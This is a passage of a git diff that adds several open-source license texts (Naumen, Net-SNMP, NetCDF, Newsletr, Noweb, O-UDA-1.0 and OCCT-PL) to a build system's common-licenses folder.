index 0000000000..95411eecee
--- /dev/null
+++ b/meta/files/common-licenses/Naumen
@@ -0,0 +1,21 @@
+NAUMEN Public License
+
+This software is Copyright (c) NAUMEN (tm) and Contributors. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions in source code must retain the above copyright notice, this list of conditions, and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions, and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. The name NAUMEN (tm) must not be used to endorse or promote products derived from this software without prior written permission from NAUMEN.
+
+4. The right to distribute this software or to use it for any purpose does not give you the right to use Servicemarks (sm) or Trademarks (tm) of NAUMEN.
+
+5. If any files originating from NAUMEN or Contributors are modified, you must cause the modified files to carry prominent notices stating that you changed the files and the date of any change.
+
+Disclaimer:
+
+THIS SOFTWARE IS PROVIDED BY NAUMEN "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL NAUMEN OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+This software consists of contributions made by NAUMEN and Contributors. Specific attributions are listed in the accompanying credits file.
diff --git a/meta/files/common-licenses/Net-SNMP b/meta/files/common-licenses/Net-SNMP
new file mode 100644
index 0000000000..9ec271072f
--- /dev/null
+++ b/meta/files/common-licenses/Net-SNMP
@@ -0,0 +1,107 @@
+ ---- Part 1: CMU/UCD copyright notice: (BSD like) -----
+
+ Copyright 1989, 1991, 1992 by Carnegie Mellon University
+
+ Derivative Work - 1996, 1998-2000 Copyright 1996, 1998-2000 The Regents of the University of California
+
+ All Rights Reserved
+
+Permission to use, copy, modify and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appears in all copies and that both that copyright notice and this permission notice appear in supporting documentation, and that the name of CMU and The Regents of the University of California not be used in advertising or publicity pertaining to distribution of the software without specific written permission.
+
+CMU AND THE REGENTS OF THE UNIVERSITY OF CALIFORNIA DISCLAIM ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL CMU OR THE REGENTS OF THE UNIVERSITY OF CALIFORNIA BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM THE LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+
+---- Part 2: Networks Associates Technology, Inc copyright notice (BSD) -----
+
+Copyright (c) 2001-2003, Networks Associates Technology, Inc All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of the Networks Associates Technology, Inc nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+---- Part 3: Cambridge Broadband Ltd. copyright notice (BSD) -----
+
+Portions of this code are copyright (c) 2001-2003, Cambridge Broadband Ltd. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * The name of Cambridge Broadband Ltd. may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+---- Part 4: Sun Microsystems, Inc. copyright notice (BSD) -----
+
+Copyright © 2003 Sun Microsystems, Inc., 4150 Network Circle, Santa Clara, California 95054, U.S.A. All rights reserved.
+
+Use is subject to license terms below.
+
+This distribution may include materials developed by third parties.
+
+Sun, Sun Microsystems, the Sun logo and Solaris are trademarks or registered trademarks of Sun Microsystems, Inc. in the U.S. and other countries.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ * Neither the name of the Sun Microsystems, Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+---- Part 5: Sparta, Inc copyright notice (BSD) -----
+
+Copyright (c) 2003-2009, Sparta, Inc All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of Sparta, Inc nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+---- Part 6: Cisco/BUPTNIC copyright notice (BSD) -----
+
+Copyright (c) 2004, Cisco, Inc and Information Network Center of Beijing University of Posts and Telecommunications. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of Cisco, Inc, Beijing University of Posts and Telecommunications, nor the names of their contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+---- Part 7: Fabasoft R&D Software GmbH & Co KG copyright notice (BSD) -----
+
+Copyright (c) Fabasoft R&D Software GmbH & Co KG, 2003 oss@fabasoft.com Author: Bernhard Penz
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ * The name of Fabasoft R&D Software GmbH & Co KG or any of its subsidiaries, brand or product names may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+---- Part 8: Apple Inc. copyright notice (BSD) -----
+
+Copyright (c) 2007 Apple Inc. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ 3. Neither the name of Apple Inc. ("Apple") nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+---- Part 9: ScienceLogic, LLC copyright notice (BSD) -----
+
+Copyright (c) 2009, ScienceLogic, LLC All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of ScienceLogic, LLC nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/NetCDF b/meta/files/common-licenses/NetCDF
new file mode 100644
index 0000000000..1a54965287
--- /dev/null
+++ b/meta/files/common-licenses/NetCDF
@@ -0,0 +1,7 @@
+Copyright 1993-2014 University Corporation for Atmospheric Research/Unidata
+
+Portions of this software were developed by the Unidata Program at the University Corporation for Atmospheric Research.
+
+Access and use of this software shall impose the following obligations and understandings on the user. The user is granted the right, without any fee or cost, to use, copy, modify, alter, enhance and distribute this software, and any derivative works thereof, and its supporting documentation for any purpose whatsoever, provided that this entire notice appears in all copies of the software, derivative works and supporting documentation. Further, UCAR requests that the user credit UCAR/Unidata in any publications that result from the use of this software or in any product that includes this software, although this is not an obligation. The names UCAR and/or Unidata, however, may not be used in any advertising or publicity to endorse or promote any products or commercial entity unless specific written permission is obtained from UCAR/Unidata. The user also understands that UCAR/Unidata is not obligated to provide the user with any support, consulting, training or assistance of any kind with regard to the use, operation and performance of this software nor to provide the user with any updates, revisions, new versions or "bug fixes."
+
+THIS SOFTWARE IS PROVIDED BY UCAR/UNIDATA "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL UCAR/UNIDATA BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE ACCESS, USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/meta/files/common-licenses/Newsletr b/meta/files/common-licenses/Newsletr
new file mode 100644
index 0000000000..e91de7bd0b
--- /dev/null
+++ b/meta/files/common-licenses/Newsletr
@@ -0,0 +1,7 @@
+Copyright 1989--2004 by Hunter Goatley.
+
+Permission is granted to anyone to use this software for any purpose on any computer system, and to redistribute it freely, subject to the following restrictions:
+
+1. This software is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
+2. Altered versions must be plainly marked as such, and must not be misrepresented as being the original software.
diff --git a/meta/files/common-licenses/Noweb b/meta/files/common-licenses/Noweb
new file mode 100644
index 0000000000..8271989fb9
--- /dev/null
+++ b/meta/files/common-licenses/Noweb
@@ -0,0 +1,9 @@
+Noweb is copyright 1989-2000 by Norman Ramsey. All rights reserved.
+
+Noweb is protected by copyright. It is not public-domain software or shareware, and it is not protected by a ``copyleft'' agreement like the one used by the Free Software Foundation.
+
+Noweb is available free for any use in any field of endeavor. You may redistribute noweb in whole or in part provided you acknowledge its source and include this COPYRIGHT file. You may modify noweb and create derived works, provided you retain this copyright notice, but the result may not be called noweb without my written consent.
+
+You may sell noweb if you wish. For example, you may sell a CD-ROM including noweb.
+
+You may sell a derived work, provided that all source code for your derived work is available, at no additional charge, to anyone who buys your derived work in any form. You must give permisson for said source code to be used and modified under the terms of this license. You must state clearly that your work uses or is based on noweb and that noweb is available free of change. You must also request that bug reports on your work be reported to you.
diff --git a/meta/files/common-licenses/O-UDA-1.0 b/meta/files/common-licenses/O-UDA-1.0
new file mode 100644
index 0000000000..cf4b2bc9a1
--- /dev/null
+++ b/meta/files/common-licenses/O-UDA-1.0
@@ -0,0 +1,47 @@
+Open Use of Data Agreement v1.0
+
+This is the Open Use of Data Agreement, Version 1.0 (the "O-UDA"). Capitalized terms are defined in Section 5. Data Provider and you agree as follows:
+
+1. Provision of the Data
+
+ 1.1. You may use, modify, and distribute the Data made available to you by the Data Provider under this O-UDA if you follow the O-UDA's terms.
+
+ 1.2. Data Provider will not sue you or any Downstream Recipient for any claim arising out of the use, modification, or distribution of the Data provided you meet the terms of the O-UDA.
+
+ 1.3 This O-UDA does not restrict your use, modification, or distribution of any portions of the Data that are in the public domain or that may be used, modified, or distributed under any other legal exception or limitation.
+
+2. No Restrictions on Use or Results
+
+ 2.1. The O-UDA does not impose any restriction with respect to:
+
+ 2.1.1. the use or modification of Data; or
+
+ 2.1.2. the use, modification, or distribution of Results.
+
+3. Redistribution of Data
+
+ 3.1. You may redistribute the Data under terms of your choice, so long as:
+
+ 3.1.1. You include with any Data you redistribute all credit or attribution information that you received with the Data, and your terms require any Downstream Recipient to do the same; and
+
+ 3.1.2. Your terms include a warranty disclaimer and limitation of liability for Upstream Data Providers at least as broad as those contained in Section 4.2 and 4.3 of the O-UDA.
+
+4. No Warranty, Limitation of Liability
+
+ 4.1. Data Provider does not represent or warrant that it has any rights whatsoever in the Data.
+
+ 4.2. THE DATA IS PROVIDED ON AN “AS IS” BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
+
+ 4.3. NEITHER DATA PROVIDER NOR ANY UPSTREAM DATA PROVIDER SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE DATA OR RESULTS, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+5. Definitions
+
+ 5.1. "Data" means the material you receive under the O-UDA in modified or unmodified form, but not including Results.
+
+ 5.2. "Data Provider" means the source from which you receive the Data and with whom you enter into the O-UDA.
+
+ 5.3. "Downstream Recipient" means any person or persons who receives the Data directly or indirectly from you in accordance with the O-UDA.
+
+ 5.4. "Result" means anything that you develop or improve from your use of Data that does not include more than a de minimis portion of the Data on which the use is based. Results may include de minimis portions of the Data necessary to report on or explain use that has been conducted with the Data, such as figures in scientific papers, but do not include more. Artificial intelligence models trained on Data (and which do not include more than a de minimis portion of Data) are Results.
+
+ 5.5. "Upstream Data Providers" means the source or sources from which the Data Provider directly or indirectly received, under the terms of the O-UDA, material that is included in the Data.
diff --git a/meta/files/common-licenses/OCCT-PL b/meta/files/common-licenses/OCCT-PL
new file mode 100644
index 0000000000..85df3c73c5
--- /dev/null
+++ b/meta/files/common-licenses/OCCT-PL
@@ -0,0 +1,112 @@
+Open CASCADE Technology Public License
+Version 6.6, April 2013
+
+OPEN CASCADE releases and makes publicly available the source code of the software Open CASCADE Technology to the free software development community under the terms and conditions of this license.
+
+It is not the purpose of this license to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this license has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice.
+
+Please read this license carefully and completely before downloading this software. By downloading, using, modifying, distributing and sublicensing this software, you indicate your acceptance to be bound by the terms and conditions of this license. If you do not want to accept or cannot accept for any reasons the terms and conditions of this license, please do not download or use in any manner this software.
+1. Definitions
+
+Unless there is something in the subject matter or in the context inconsistent therewith, the capitalized terms used in this License shall have the following meaning.
+
+"Applicable Intellectual Property Rights" means (a) with respect to the Initial Developer, any rights under patents or patents applications or other intellectual property rights that are now or hereafter acquired, owned by or assigned to the Initial Developer and that cover subject matter contained in the Original Code, but only to the extent necessary to use, reproduce, modify, distribute or sublicense the Original Code without infringement; and (b) with respect to You or any Contributor, any rights under patents or patents applications or other intellectual property rights that are now or hereafter acquired, owned by or assigned to You or to such Contributor and that cover subject matter contained in Your Modifications or in such Contributor's Modifications, taken alone or in combination with Original Code.
+
+"Contributor" means each individual or legal entity that creates or contributes to the creation of any Modification, including the Initial Developer.
+
+"Derivative Program": means a new program combining the Software or portions thereof with other source code not governed by the terms of this License.
+
+"Initial Developer": means OPEN CASCADE, with main offices at 1, place des Frères Montgolfier, 78280, Guyancourt, France.
+
+"Modifications": mean any addition to, deletion from or change to the substance or the structure of the Software. When source code of the Software is released as a series of files, a Modification is: (a) any addition to, deletion from or change to the contents of a file containing the Software or (b) any new file or other representation of computer program statements that contains any part of the Software. By way of example, Modifications include any debug of, or improvement to, the Original Code or any of its components or portions as well as its next versions or releases thereof.
+
+"Original Code": means (a) the source code of the software Open CASCADE Technology originally made available by the Initial Developer under this License, including the source code of any updates or upgrades of the Original Code and (b) the object code compiled from such source code and originally made available by Initial Developer under this License.
+
+"Software": means the Original Code, the Modifications, the combination of Original Code and any Modifications or any respective portions thereof.
+
+"You" or "Your": means an individual or a legal entity exercising rights under this License
+2. Acceptance of license
+By using, reproducing, modifying, distributing or sublicensing the Software or any portion thereof, You expressly indicate Your acceptance of the terms and conditions of this License and undertake to act in accordance with all the provisions of this License applicable to You.
+3. Scope and purpose
+This License applies to the Software and You may not use, reproduce, modify, distribute, sublicense or circulate the Software, or any portion thereof, except as expressly provided under this License. Any attempt to otherwise use, reproduce, modify, distribute or sublicense the Software is void and will automatically terminate Your rights under this License.
+4. Contributor license
+Subject to the terms and conditions of this License, the Initial Developer and each of the Contributors hereby grant You a world-wide, royalty-free, irrevocable and non-exclusive license under the Applicable Intellectual Property Rights they own or control, to use, reproduce, modify, distribute and sublicense the Software provided that:
+
+ You reproduce in all copies of the Software the copyright and other proprietary notices and disclaimers of the Initial Developer as they appear in the Original Code and attached hereto as Schedule "A" and any other notices or disclaimers attached to the Software and keep intact all notices in the Original Code that refer to this License and to the absence of any warranty;
+
+ You include a copy of this License with every copy of the Software You distribute;
+
+ If you distribute or sublicense the Software (as modified by You or on Your behalf as the case may be), You cause such Software to be licensed as a whole, at no charge, to all third parties, under the terms and conditions of the License, making in particular available to all third parties the source code of the Software;
+
+ You document all Your Modifications, indicate the date of each such Modification, designate the version of the Software You used, prominently include a file carrying such information with respect to the Modifications and duplicate the copyright and other proprietary notices and disclaimers attached hereto as Schedule "B" or any other notices or disclaimers attached to the Software with your Modifications.
+
+For greater certainty, it is expressly understood that You may freely create Derivative Programs (without any obligation to publish such Derivative Program) and distribute same as a single product. In such case, You must ensure that all the requirements of this License are fulfilled for the Software or any portion thereof.
+
+5. Your license
+You hereby grant all Contributors and anyone who becomes a party under this License a world-wide, non-exclusive, royalty-free and irrevocable license under the Applicable Intellectual Property Rights owned or controlled by You, to use, reproduce, modify, distribute and sublicense all Your Modifications under the terms and conditions of this License.
+
+6. Software subject to license
+Your Modifications shall be governed by the terms and conditions of this License. You are not authorized to impose any other terms or conditions than those prevailing under this License when You distribute and/or sublicense the Software, save and except as permitted under Section 7 hereof.
+
+7. Additional terms
+You may choose to offer, on a non-exclusive basis, and to charge a fee for any warranty, support, maintenance, liability obligations or other rights consistent with the scope of this License with respect to the Software (the "Additional Terms") to the recipients of the Software. However, You may do so only on Your own behalf and on Your sole and exclusive responsibility. You must obtain the recipient's agreement that any such Additional Terms are offered by You alone, and You hereby agree to indemnify, defend and hold the Initial Developer and any Contributor harmless for any liability incurred by or claims asserted against the Initial Developer or any Contributors with respect to any such Additional Terms.
+
+8. Disclaimer of warranty
+The Software is provided under this License on an "as is" basis, without warranty of any kind, including without limitation, warranties that the Software is free of defects, merchantable, fit for a particular purpose or non-infringing. The entire risk as to the quality and performance of the Software is with You.
+
+9. Liability
+Under no circumstances shall You, the Initial Developer or any Contributor be liable to any person for any direct or indirect damages of any kind including, without limitation, damages for loss of goodwill, loss of data, work stoppage, computer failure or malfunction or any and all other commercial damages or losses resulting from or relating to this License or indirectly to the use of the Software.
+
+10. Trademark
+This License does not grant any rights to use the trademarks, trade names and domain names "MATRA", "EADS Matra Datavision", "CAS.CADE", "Open CASCADE", "opencascade.com" and "opencascade.org" or any other trademarks, trade names or domain names used or owned by the Initial Developer.
+
+11. Copyright
+The Initial Developer retains all rights, title and interest in and to the Original Code. You may not remove the copyright © notice which appears when You download the Software.
+
+12. Term
+This License is granted to You for a term equal to the remaining period of protection covered by the intellectual property rights applicable to the Original Code.
+
+13. Termination
+In case of termination, as provided in Section 3 above, You agree to immediately stop any further use, reproduction, modification, distribution and sublicensing of the Software and to destroy all copies of the Software that are in Your possession or control. All sublicenses of the Software which have been properly granted prior to termination shall survive any termination of this License. In addition, Sections 5, 8 to 11, 13.2 and 15.2 of this License, in reason of their nature, shall survive the termination of this License for a period of fifteen (15) years.
+
+14. Versions of the license
+The Initial Developer may publish new versions of this License from time to time. Once Original Code has been published under a particular version of this License, You may choose to continue to use it under the terms and conditions of that version or use the Original Code under the terms of any subsequent version of this License published by the Initial Developer.
+
+15. Miscellaneous
+ 15.1 Relationship of the Parties This License will not be construed as creating an agency, partnership, joint venture or any other form of legal association between You and the Initial Developer, and You will not represent to the contrary, whether expressly, by implication or otherwise.
+
+ 15.2 Independent Development Nothing in this License will impair the Initial Developer's right to acquire, license, develop, have others develop for it, market or distribute technology or products that perform the same or similar functions as, or otherwise compete with, Modifications, Derivative Programs, technology or products that You may develop, produce, market or distribute.
+
+ 15.3 Severability If for any reason a court of competent jurisdiction finds any provision of this License, or portion thereof, to be unenforceable, that provision of the License will be enforced to the maximum extent permissible so as to effect the economic benefits and intent of the parties, and the remainder of this License will continue in full force and extent.
+
+END OF THE TERMS AND CONDITIONS OF THIS LICENSE
+
